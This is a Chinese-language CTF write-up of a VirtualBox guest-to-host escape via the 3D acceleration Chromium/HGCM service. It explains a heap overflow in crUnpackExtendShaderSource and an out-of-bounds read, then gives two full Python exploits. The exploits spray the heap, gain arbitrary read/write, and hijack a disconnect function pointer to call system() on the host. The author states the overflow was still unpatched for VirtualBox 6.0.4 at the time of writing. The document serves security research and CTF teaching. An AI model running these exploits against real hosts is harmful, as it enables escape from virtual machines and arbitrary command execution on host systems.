作者:@flyyy
長亭科技安全研究員,曾獲得GeekPwn 2018“最佳技術獎”,入選極棒名人堂。
來源:長亭技術專欄

35C3CTF中niklasb出了一道關于virtualbox逃逸的0day題目,想從這個題目給大家介紹virtualbox的一個新的攻擊面(其實類似的攻擊面也同樣存在于其他虛擬化類軟件),這里記錄一下和@kelwin一起解題的過程(被dalao帶飛真爽)

題目描述

chromacity 477
Solves: 2
Please escape VirtualBox. 3D acceleration is enabled for your convenience.

No need to analyze the 6.0 patches, they should not contain security fixes.

Once you're done, submit your exploit at https://vms.35c3ctf.ccc.ac/, but assume that all passwords are different on the remote setup.

Challenge files. Password for the encrypted VM image is the flag for "sanity check".

Setup

UPDATE: You might need to enable nested virtualization.

Hint: https://github.com/niklasb/3dpwn/ might be useful

Hint 2: this photo was taken earlier today at C3

Difficulty estimate: hard

題目描述中可以看出:

  1. 虛擬機配置中顯卡開啟了3D加速功能
  2. 6.0的patch沒用,參考virtualbox 6.0的發布時間推測是出題人來不及用最新版適配環境等等,所以是一道0day題目

題目前前后后給出了四個附件,一個是img文件,一個是通過qemu+kvm虛擬機運行該img的.sh文件,這個虛擬機就是遠程運行的host的環境,host當中有一個5.28 release版的virtualbox,也就是我們逃逸的目標。(算上啟動host環境中的virtualbox,如果你的主機是windows+vmware workstation的話。。。滿眼都是淚),另外還有兩張圖片,一張是關于目標virtualbox虛擬機的配置,一張是niklasb和他電腦屏幕的照片。電腦屏幕上顯示的是這個頁面,看樣子題目應該跟glShaderSource這個opengl的api有關。

同時給出的兩個hint,一個是niklasb自己關于3dpwn的github鏈接,其中有他之前通過攻擊virtual box 3D加速模塊實現逃逸的源碼和相關分析文章。另一個就是附件中關于niklasb的照片。

題目分析

通過題目描述我們可以比較確定的是出題人希望我們去找virtualbox 3D加速部分的0day漏洞來實現逃逸,同時通過他給出的github鏈接中的文章和題目名我們可以很快把目標鎖定在3D加速部分的Chromium代碼上(并不是同名的瀏覽器項目)。

簡單來說,virtualbox通過引入OpenGL的共享庫來引入3D加速功能,而Chromium負責解析Virtualbox。Chromium定義了一套用來描述OpenGL不同操作的網絡協議。但是這個Chromium庫最后一次更新源碼已經是在十二年前了。同時通過這個庫我們大概可以猜到之前hint中那張照片的用意了。如果排除掉去直接挖掘OpenGL的0day的可能性,那Virtualbox代碼中關于glShaderSource的部分就只有Chromium中關于這個api的協議解析的部分了。而恰好niklasb的github中的源碼和文章都是關于Chromium部分的漏洞及其利用的。

源碼分析

Virtualbox的Guest additions類似于VMware workstation中的vmware-tools。不同的地方在于,VMware workstation通過暴漏固定的端口給guest來實現guest與host的通信,而Guest additions是通過增加一個自定義的虛擬硬件vboxguest來實現guest與host的交互。而3D加速是作為一個virtualbox自定義的hgcm服務進程存在的。

gdb-peda$ i thread
  Id   Target Id         Frame 
* 1    Thread 0x7fe77f6d9780 (LWP 14933) "VirtualBoxVM" 0x00007fe77b0acbf9 in __GI___poll (fds=0x55fe988e82b0, nfds=0x2, timeout=0x63) at ../sysdeps/unix/sysv/linux/poll.c:29
......
  15   Thread 0x7fe72f86a700 (LWP 14965) "ShCrOpenGL" 0x00007fe77a4959f3 in futex_wait_cancelable (private=<optimized out>, expected=0x0, futex_word=0x7fe720004068)
......
  35   Thread 0x7fe6d0cd6700 (LWP 14985) "nspr-3" 0x00007fe77a4959f3 in futex_wait_cancelable (private=<optimized out>, expected=0x0, futex_word=0x55fe9868ed70)
    at ../sysdeps/unix/sysv/linux/futex-internal.h:88
  36   Thread 0x7fe6b9b61700 (LWP 14986) "SHCLIP" 0x00007fe77b0acbf9 in __GI___poll (fds=0x7fe6b4000b20, nfds=0x2, timeout=0xffffffff) at ../sysdeps/unix/sysv/linux/poll.c:29
gdb-peda$ thread 15
[Switching to thread 15 (Thread 0x7fe72f86a700 (LWP 14965))]
#0  0x00007fe77a4959f3 in futex_wait_cancelable (private=<optimized out>, expected=0x0, futex_word=0x7fe720004068) at ../sysdeps/unix/sysv/linux/futex-internal.h:88
88  ../sysdeps/unix/sysv/linux/futex-internal.h: No such file or directory.
gdb-peda$ bt
#0  0x00007fe77a4959f3 in futex_wait_cancelable (private=<optimized out>, expected=0x0, futex_word=0x7fe720004068) at ../sysdeps/unix/sysv/linux/futex-internal.h:88
#1  __pthread_cond_wait_common (abstime=0x0, mutex=0x7fe720004070, cond=0x7fe720004040) at pthread_cond_wait.c:502
#2  __pthread_cond_wait (cond=0x7fe720004040, mutex=0x7fe720004070) at pthread_cond_wait.c:655
#3  0x00007fe77e0e5cc8 in rtSemEventWait (fAutoResume=0x1, cMillies=0xffffffff, hEventSem=0x7fe720004040)
    at /home/f1yyy/Desktop/VirtualBox-6.0.0/src/VBox/Runtime/r3/linux/../posix/semevent-posix.cpp:369
#4  RTSemEventWait (hEventSem=0x7fe720004040, cMillies=0xffffffff) at /home/f1yyy/Desktop/VirtualBox-6.0.0/src/VBox/Runtime/r3/linux/../posix/semevent-posix.cpp:482
#5  0x00007fe75d3b09aa in HGCMThread::MsgGet (this=0x7fe720003f60, ppMsg=0x7fe72f869cf0) at /home/f1yyy/Desktop/VirtualBox-6.0.0/src/VBox/Main/src-client/HGCMThread.cpp:549
#6  0x00007fe75d3b147f in hgcmMsgGet (pThread=0x7fe720003f60, ppMsg=0x7fe72f869cf0) at /home/f1yyy/Desktop/VirtualBox-6.0.0/src/VBox/Main/src-client/HGCMThread.cpp:734
#7  0x00007fe75d3b265c in hgcmServiceThread (pThread=0x7fe720003f60, pvUser=0x7fe720003e00) at /home/f1yyy/Desktop/VirtualBox-6.0.0/src/VBox/Main/src-client/HGCM.cpp:608
#8  0x00007fe75d3af940 in hgcmWorkerThreadFunc (hThreadSelf=0x7fe720004340, pvUser=0x7fe720003f60) at /home/f1yyy/Desktop/VirtualBox-6.0.0/src/VBox/Main/src-client/HGCMThread.cpp:200
#9  0x00007fe77df95501 in rtThreadMain (pThread=0x7fe720004340, NativeThread=0x7fe72f86a700, pszThreadName=0x7fe720004c20 "ShCrOpenGL")
    at /home/f1yyy/Desktop/VirtualBox-6.0.0/src/VBox/Runtime/common/misc/thread.cpp:719
#10 0x00007fe77e0df882 in rtThreadNativeMain (pvArgs=0x7fe720004340) at /home/f1yyy/Desktop/VirtualBox-6.0.0/src/VBox/Runtime/r3/posix/thread-posix.cpp:327
#11 0x00007fe77a48f6db in start_thread (arg=0x7fe72f86a700) at pthread_create.c:463
#12 0x00007fe77b0b988f in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95

也就是說,當我們想要在guest中想要調用一個OpenGL的某個接口,需要根據我們的請求先進行Chromium的協議封裝,再進行hgcm的協議封裝。具體關于virtualbox在這兩部分的實現細節,請閱讀virtualbox相關源碼,這里不再詳述。

niklasb在其github上已經封裝好了調用Chromium代碼部分的函數及例子,比如下面這兩行代碼:

client = hgcm_connect("VBoxSharedCrOpenGL")
hgcm_call(client, SHCRGL_GUEST_FN_SET_VERSION, [9, 1])

最終在源碼中會觸發到src/vbox/hostservices/sharedopengl/crservice/crservice.cpp中的switch下的SHCRGL_GUEST_FN_SET_VERSION部分,其中的vMajor和vMinor會分別為9和1。

再次回到題目上來,題目已經提醒了漏洞存在的位置可能在Chromium中glShaderSource相關的接口位置,通過在源碼中的尋找與分析,我們把目標鎖定在了crUnpackExtendShaderSource函數中。crUnpackExtendShaderSource代碼如下:

void crUnpackExtendShaderSource(void)
{
    GLint *length = NULL;
    GLuint shader = READ_DATA(8, GLuint);
    GLsizei count = READ_DATA(12, GLsizei);
    GLint hasNonLocalLen = READ_DATA(16, GLsizei);
    GLint *pLocalLength = DATA_POINTER(20, GLint);
    char **ppStrings = NULL;
    GLsizei i, j, jUpTo;
    int pos, pos_check;

    if (count >= UINT32_MAX / sizeof(char *) / 4)
    {
        crError("crUnpackExtendShaderSource: count %u is out of range", count);
        return;
    }

    pos = 20 + count * sizeof(*pLocalLength);

    if (hasNonLocalLen > 0)
    {
        length = DATA_POINTER(pos, GLint);
        pos += count * sizeof(*length);
    }

    pos_check = pos;

    if (!DATA_POINTER_CHECK(pos_check))
    {
        crError("crUnpackExtendShaderSource: pos %d is out of range", pos_check);
        return;
    }

    for (i = 0; i < count; ++i)
    {
        if (pLocalLength[i] <= 0 || pos_check >= INT32_MAX - pLocalLength[i] || !DATA_POINTER_CHECK(pos_check))
        {
            crError("crUnpackExtendShaderSource: pos %d is out of range", pos_check);
            return;
        }

        pos_check += pLocalLength[i];
    }

    ppStrings = crAlloc(count * sizeof(char*));
    if (!ppStrings) return;

    for (i = 0; i < count; ++i)
    {
        ppStrings[i] = DATA_POINTER(pos, char);
        pos += pLocalLength[i];
        if (!length)
        {
            pLocalLength[i] -= 1;
        }

        Assert(pLocalLength[i] > 0);
        jUpTo = i == count -1 ? pLocalLength[i] - 1 : pLocalLength[i];
        for (j = 0; j < jUpTo; ++j)
        {
            char *pString = ppStrings[i];

            if (pString[j] == '\0')
            {
                Assert(j == jUpTo - 1);
                pString[j] = '\n';
            }
        }
    }

//    cr_unpackDispatch.ShaderSource(shader, count, ppStrings, length ? length : pLocalLength);
    cr_unpackDispatch.ShaderSource(shader, 1, (const char**)ppStrings, 0);

    crFree(ppStrings);
}

仔細看會發現在中間一段for循環檢查pLocalLength數組的每個元素跟所有元素的和的大小是否越界時,并未檢查最后一層循環過后pos_check是否越界,據此我們可以在最后的兩層嵌套循環中的內層中實現越界寫,而這個越界寫也很有趣:

        for (j = 0; j < jUpTo; ++j)
        {
            char *pString = ppStrings[i];

            if (pString[j] == '\0')
            {
                Assert(j == jUpTo - 1);
                pString[j] = '\n';
            }
        }

它可以將越界部分所有的'\0'替換為'\n'。通過這個漏洞我們可以越界寫一塊堆內存,將其后面內存中若干的'\0'替換為'\n'。(注意:Assert在release版中是不存在的!)之后我們會介紹如何通過這個越界寫實現任意地址寫。

當然只有一個越界寫可能利用起來還是十分困難,我們仔細看了看niklasb寫的文章,發現在很多類似的unpack函數中均存在類似于CVE-2018-3055的漏洞,比如crUnpackExtendGetUniformLocation:

void crUnpackExtendGetUniformLocation(void)
{
    int packet_length = READ_DATA(0, int);
    GLuint program = READ_DATA(8, GLuint);
    const char *name = DATA_POINTER(12, const char);
    SET_RETURN_PTR(packet_length-16);
    SET_WRITEBACK_PTR(packet_length-8);
    cr_unpackDispatch.GetUniformLocation(program, name);
}

漏洞的成因完全與CVE-2018-3055相同,簡單來說SET_RETURN_PTR和SET_WRITEBACK_PTR指向的內存會寫回到guest,而這里因為沒有對packet_length做對應的檢查導致我們可以在堆上實現越界讀。

漏洞利用

通過以上的代碼分析,我們現在有一個堆越界讀和一個堆越界寫,接下來我們來分析如何去完成完整的漏洞利用。

因為信息泄露部分完全與CVE-2018-3055基本相同,我們選擇直接復用niklasb之前的exp leak部分的代碼。重寫make_oob_read后通過leak_stuff我們可以泄露一個CRConnection結構體的位置,而niklasb的exp中就是通過修改pHostBuffer和cbHostBuffer來實現任意地址讀。因此,當我們有任意地址寫的條件之后我們就可以任意地址讀了。

接下來的關鍵就是如何用我們神奇的堆溢出來實現任意地址寫了。@kelwin找到了一個很好用的結構體CRVBOXSVCBUFFER_t,也就是niklasb的代碼中alloc_buf使用的結構體:

typedef struct _CRVBOXSVCBUFFER_t {
    uint32_t uiId;
    uint32_t uiSize;
    void*    pData;
    _CRVBOXSVCBUFFER_t *pNext, *pPrev;
} CRVBOXSVCBUFFER_t;

如果可以在堆上我們可以越界寫的內存后面恰好布置這樣一個結構體,越界寫它對應的uiSize部分,再通過SHCRGL_GUEST_FN_WRITE_BUFFER就可以越界寫這個buffer所對應的pData的內容,之后再越界寫另一個相同的結構體,就可以實現任意地址寫了。實現任意地址寫的具體過程如下:

  1. n次調用alloc_buf,對應的buffer填充為可以觸發越界寫的部分,從而確保在我們可以越界寫的堆后有可用的CRVBOXSVCBUFFER_t結構體。此時內存分布如下:

    img

  2. 通過SHCRGL_GUEST_FN_WRITE_READ使用第n-3個buffer,觸發堆越界寫,覆蓋掉第n-2個buffer的size部分。此時內存分布如下:

    img

  3. 通過SHCRGL_GUEST_FN_WRITE使用第n-2個buffer,觸發堆越界寫,可以修改第n-1個buffer的uiSize和pData為任意值。此時內存分布如下:

    img

  4. 通過SHCRGL_GUEST_FN_WRITE使用第n-1個buffer,觸發任意地址寫,寫的地址與長度由步驟3控制

  5. 多次任意地址寫可以通過多次反復SHCRGL_GUEST_FN_WRITE第n-2個buffer和第n-1個buffer實現

在有了任意讀和任意寫的能力之后,我們可以修改某個CRConnection結構體中disconnect函數指針來劫持rip,通過修改CRConnection頭部的數據可以控制對應的參數。所以漏洞利用的完整過程如下:

  1. 通過越界讀泄露一個CRConnection結構體的位置
  2. 配置內存實現任意地址寫
  3. 通過任意地址讀泄露CRConnection結構體中alloc函數對應地址
  4. 通過alloc函數地址計算VBoxOGLhostcrutil.so庫地址,最終泄露libc地址
  5. 修改CRConnection的disconnect函數指針為system
  6. 修改CRConnection的頭部為payload
  7. disconnect對應的client

完整exp:

#!/usr/bin/env python2
from __future__ import print_function
import os, sys
from array import array
from struct import pack, unpack

sys.path.append(os.path.abspath(os.path.dirname(__file__)) + '/lib')
from chromium import *
from hgcm import *

def make_oob_read(offset):
    return (
        pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1)
        + '\0\0\0' + chr(CR_EXTEND_OPCODE)
        + pack("<I", offset)
        + pack("<I", CR_GETUNIFORMLOCATION_EXTEND_OPCODE)
        + pack("<I", 0)
        + 'LEET'
        )

def leak_conn(client):
    ''' Return a CRConnection address, and the associated client handle '''
    # Spray some buffers of sizes
    #  0x290 = sizeof(CRConnection) and
    #  0x9d0 = sizeof(CRClient)
    for _ in range(600):
        alloc_buf(client, 0x290)
    for _ in range(600):
        alloc_buf(client, 0x9d0)

    # This will allocate a CRClient and CRConnection right next to each other.
    new_client = hgcm_connect("VBoxSharedCrOpenGL")

    for _ in range(2):
        alloc_buf(client, 0x290)
    for _ in range(2):
        alloc_buf(client, 0x9d0)

    hgcm_disconnect(new_client)

    # Leak pClient member of CRConnection struct, and from that compute
    # CRConnection address.
    msg = make_oob_read(OFFSET_CONN_CLIENT)
    leak = crmsg(client, msg, 0x290)[16:24]
    pClient, = unpack("<Q", leak[:8])
    pConn = pClient + 0x9e0
    new_client = hgcm_connect("VBoxSharedCrOpenGL")
    set_version(new_client)
    return new_client, pConn, pClient

class Pwn(object):
    def write(self, where, what):
        pay = 'A'*8+pack("<Q",where)
        buf,_,_,_=hgcm_call(self.client1,13,[self.write_buf,self.write_buf_size,0x40,pay])

        hgcm_call(self.client1,13,[0x41414141,0x41414141,0,what])

    def write64(self, where, what):
        self.write(where, pack("<Q", what))

    def read(self, where, n, canfail=False):
        # Set pHostBuffer and cbHostBuffer, then read from the Chromium stream.
        self.write64(self.pConn + OFFSET_CONN_HOSTBUF, where)
        self.write64(self.pConn + OFFSET_CONN_HOSTBUFSZ, n)
        res, sz = hgcm_call(self.client3, SHCRGL_GUEST_FN_READ, ["A"*0x1000, 0x1000])
        if canfail and sz != n:
            return None
        assert sz == n
        return res[:n]

    def read64(self, where, canfail=False):
        leak = self.read(where, 8, canfail)
        if not leak:
            return None
        return unpack('<Q', leak)[0]

    def leak_stuff(self):
        self.client1 = hgcm_connect("VBoxSharedCrOpenGL")
        set_version(self.client1)

        self.client2 = hgcm_connect("VBoxSharedCrOpenGL")
        set_version(self.client2)

        # TODO maybe spray even more?
        for _ in range(3):
            for _ in range(400): alloc_buf(self.client1, 0x290)
            for _ in range(400): alloc_buf(self.client1, 0x9d0)
            for _ in range(600): alloc_buf(self.client1, 0x30)

        # self.master_id, self.master, _ = leak_buf(self.client1)
        # print('[*] Header for buffer # %d is at 0x%016x (master)' % (self.master_id, self.master))
        # self.victim_id, self.victim, _ = leak_buf(self.client1)
        # print('[*] Header for buffer # %d is at 0x%016x (victim)' % (self.victim_id, self.victim))

        self.client3, self.pConn, _ = leak_conn(self.client1)
        print('[*] Leaked CRConnection @ 0x%016x' % self.pConn)

    def setup_write(self):
        msg = pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) \
              + '\0\0\0' + chr(CR_EXTEND_OPCODE) \
              + 'aaaa' \
              + pack("<I", CR_SHADERSOURCE_EXTEND_OPCODE) \
              + pack("<IIIII", 0, 0x2, 0, 0x1, 0x1a+2) +'A'*4
        bufs = []
        for i in range(0x1000):
                bufs.append(alloc_buf(self.client1, len(msg), msg))
        _, res, _ = hgcm_call(self.client1, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [bufs[-5], "A"*0x50, 0x50])
        self.write_buf = 0x0a0a0000+bufs[-4];
        self.write_buf_size = 0x0a0a30;

    def setup(self):
        self.leak_stuff()
        self.setup_write()

        self.crVBoxHGCMFree = self.read64(self.pConn + OFFSET_CONN_FREE, canfail=True)
        print('[*] Leaked crVBoxHGCMFree @ 0x%016x' % self.crVBoxHGCMFree)

        libbase = self.crVBoxHGCMFree - 0x20650
    self.system = self.read64(libbase + 0x22e3d0, canfail=True) - 0x122ec0 + 0x4f440 
    print('[*] Leaked system @ 0x%016x' % self.system)

        self.write64(self.pConn + 0x128, self.system)
        self.write(self.pConn, "mousepad /home/c3mousepad /home/c3ctf/Desktop/flag.txt\x00")
        '''
        self.write64(self.pConn + OFFSET_CONN_HOSTBUF, self.writer_msg)

        hgcm_disconnect(self.client1)
        '''
        return

if __name__ == '__main__':
    p = Pwn()
    p.setup()
    #if raw_input('you want RIP control? [y/n] ').startswith('y'):
    #    p.rip(0xdeadbeef)

img

仍然存在的0day

Virtualbox官方在2019.1.11修補了兩處類似的信息泄露部分,對于堆溢出部分的內容仍然沒有修補,導致該漏洞仍然可以被利用。接下來看一下如何只使用堆溢出部分的內容來實現完整逃逸。

img

從一個堆溢出到彈計算器

參考之前有leak時的思路,當沒有leak時,我們仍然有:

  1. 任意地址寫
  2. 堆越界寫

但是我們沒有任何的地址信息,所以接下來的思路就是如何利用一個堆越界寫來泄露地址最后達到任意地址讀的效果。

我們可以先參考之前的niklasb任意地址讀的實現思路。他是通過讀寫一個CRConnection結構體的pHostBuffer和cbHostBuffer,以及SHCRGL_GUEST_FN_READ來實現任意地址讀。我們使用相同的思路,就需要泄露一個CRConnection結構體的地址。而他之前泄露一個CRConnection結構體的位置是通過crUnpackExtendGetUniformLocation中的堆越界來實現的,而我們想要達到同樣的效果可以有一種實現思路:

  1. 在我們可以越界寫的Buffer后放一個CR_GETUNIFORMLOCATION_EXTEND的Buffer
  2. 越界寫改大CR_GETUNIFORMLOCATION_EXTEND Buffer的size部分
  3. 通過WRITE_READ_BUFFERED進入crUnpackExtendGetUniformLocation實現越界讀

如果在CR_GETUNIFORMLOCATION_EXTEND Buffer之后恰好可以放一個CRClient或者CRConnection的結構體,就可以泄露關鍵的結構體了。所以,總體的利用思路如下:

  1. 排布內存,使堆空間分布如下:

    img

    img

    img

  2. 通過之前提到的相同操作,通過堆溢出實現任意地址寫與越界寫

  3. 越界寫改大CR_GETUNIFORMLOCATION_EXTEND Buffer的size部分

    img

  4. 通過crUnpackExtendGetUniformLocation越界讀獲取CRConnection的地址

  5. 通過CRConnection任意地址讀獲取crVBoxHGCMFree的地址

  6. 通過動態庫獲取libc中system的地址

  7. 修改disconnect函數指針為system,修改CRConnection頭部為payload8. disconnect彈計算器

我在實際實現中多了一個步驟,在泄露完CRConnection地址之后還泄露了一個對應的clientID。(當然這一步也可以省略,在exp中遍歷所有的clientID即可)

完整的exp如下(環境:ubuntu 18.04及其apt安裝的Virtualbox 6.0.4):

#!/usr/bin/env python2
from __future__ import print_function
import os, sys
from array import array
from struct import pack, unpack

sys.path.append(os.path.abspath(os.path.dirname(__file__)) + '/lib')
from chromium import *
from hgcm import *
crVBoxHGCMFree_off=0x20890
vbox_puts_off=0x22f0f0
libc_puts_off=0x809c0
libc_system_off=0x4f440
def make_oob_read(offset):
    return (
        pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1)
        + '\0\0\0' + chr(CR_EXTEND_OPCODE)
        + pack("<I", offset)
        + pack("<I", CR_GETUNIFORMLOCATION_EXTEND_OPCODE)
        + pack("<I", 0)
        + 'LEET'
        )

class Pwn(object):
    def write(self, where, what):
        pay = 'A'*8+pack("<Q",where)
        buf,_,_,_=hgcm_call(self.client1,13,[self.write_buf,self.write_buf_size,0x2b0,pay])
        hgcm_call(self.client1,13,[0x41414141,0x41414141,0,what])

    def write64(self, where, what):
        self.write(where, pack("<Q", what))

    def read(self, where, n, canfail=False):
        # Set pHostBuffer and cbHostBuffer, then read from the Chromium stream.
        self.write64(self.pConn + OFFSET_CONN_HOSTBUF, where)
        self.write64(self.pConn + OFFSET_CONN_HOSTBUFSZ, n)
        res, sz = hgcm_call(self.client3, SHCRGL_GUEST_FN_READ, ["A"*0x1000, 0x1000])
        if canfail and sz != n:
            return None
        assert sz == n
        return res[:n]

    def read64(self, where, canfail=False):
        leak = self.read(where, 8, canfail)
        if not leak:
            return None
        return unpack('<Q', leak)[0]

    def setup_write(self):
        self.client1 = hgcm_connect("VBoxSharedCrOpenGL")
        set_version(self.client1)
        msg = pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) \
              + '\0\0\0' + chr(CR_EXTEND_OPCODE) \
              + 'aaaa' \
              + pack("<I", CR_SHADERSOURCE_EXTEND_OPCODE) \
              + pack("<IIIIII", 0, 0x3, 0, 0x4, 0x4, 0x1a+2+7) +'A'*9
        '''
        msg2= pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) \
              + '\0\0\0' + chr(CR_EXTEND_OPCODE) \
              + 'aaaa' \
              + pack("<I", CR_SHADERSOURCE_EXTEND_OPCODE) \
              + pack("<IIIII", 0, 0x2, 0, 0x1, 0x1a+2) +'A'*4
        '''
        msg2 = pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) \
              + '\0\0\0' + chr(CR_EXTEND_OPCODE) \
              + 'aaaa' \
              + pack("<I", CR_SHADERSOURCE_EXTEND_OPCODE) \
              + pack("<IIIII", 0, 0x2, 0, 0x1+0x100, 0x1a+2) +'A'*(9+0x100)
        msg3 = pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) \
              + '\0\0\0' + chr(CR_EXTEND_OPCODE) \
              + 'aaaa' \
              + pack("<I", CR_SHADERSOURCE_EXTEND_OPCODE) \
              + pack("<IIIII", 0, 0x2, 0, 0x1+0x100, 0x1a+2) +'A'*(9+0x260) 
        msg4 = make_oob_read(0x570)
        msg4+= 'A'*(0x290-len(msg4))
        bufs = []
        bufs2= []
        bufs3= []
        for i in range(0x4000):
                bufs.append(alloc_buf(self.client1, len(msg), msg))
        for i in range(4):
                bufs.append(alloc_buf(self.client1, len(msg2), msg2))
        for i in range(50):
                bufs2.append(alloc_buf(self.client1,len(msg4),msg4))
                bufs3.append(alloc_buf(self.client1, len(msg3), msg3))
                alloc_buf(self.client1, len(msg3), msg3)


        _, res, _ = hgcm_call(self.client1, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [bufs[-4], "A"*0x50, 0x50])
        self.write_buf = 0x0a0a0000+bufs[-3];
        self.write_buf_size = 0x0a0135;
        for i in range(50):
            _, res, _ = hgcm_call(self.client1, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [bufs3[i], "A"*0x50, 0x50])

    def setup(self):
        #self.leak_stuff()
        self.setup_write()
        client=[]
        for i in range(50):
            new_client = hgcm_connect("VBoxSharedCrOpenGL")
            set_version(new_client)
            client.append(new_client)
    pay = 'B'*8
        pay2= 'C'*8
        buf,_,_,_=hgcm_call(self.client1,13,[self.write_buf,self.write_buf_size,0x420,pay])
        _,leak,_=hgcm_call(self.client1,SHCRGL_GUEST_FN_WRITE_READ_BUFFERED,[0x42424242,'A'*0x290,0x290]) 
        self.pConn,=unpack("<Q",leak[8:16])
        self.pConn = self.pConn +0xe10+0x870
        print('[*] Leaked conn @ 0x%016x' % self.pConn)

        buf,_,_,_=hgcm_call(self.client1,13,[self.write_buf,self.write_buf_size,0xdf0-0x160,pay2])
        buf,_,_,_=hgcm_call(self.client1,13,[self.write_buf,self.write_buf_size,0xe30-0x160,pack("<I",0x15c8)])
        _,leak2,_=hgcm_call(self.client1,SHCRGL_GUEST_FN_WRITE_READ_BUFFERED,[0x43434343,'A'*0x290,0x290])
        i,=unpack("<Q",leak2[8:16])
        self.client3 = i>>32
        #self.read(self.pConn ,0x200, canfail= True)
        for i in range(len(client)):
            if client[i]!=self.client3:
                hgcm_disconnect(client[i])
        crVBoxHGCMFree = self.read64(self.pConn + OFFSET_CONN_FREE,canfail=True)
        print('[*] Leaked crVBoxHGCMFree @ 0x%016x' % crVBoxHGCMFree)
        self.system = self.read64(crVBoxHGCMFree-crVBoxHGCMFree_off+vbox_puts_off,canfail=True)-libc_puts_off+libc_system_off
        print('[*] Leaked system @ 0x%016x' % self.system)
        pay = '/snap/bin/gnome-calculator\x00'
        self.write64(self.pConn+0x128,self.system)
        self.write(self.pConn,pay)
        hgcm_disconnect(self.client3)
        while(1):
            i=i+1
        return

if __name__ == '__main__':
    p = Pwn()
    p.setup()
    #if raw_input('you want RIP control? [y/n] ').startswith('y'):
    #    p.rip(0xdeadbeef)

img

其他相關鏈接 - https://drive.google.com/file/d/1IuRvlqWiZp7UhGN4BPifRS-NTDk5xdrd/view - https://phoenhex.re/2018-07-27/better-slow-than-sorry


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.jmbmsq.com/847/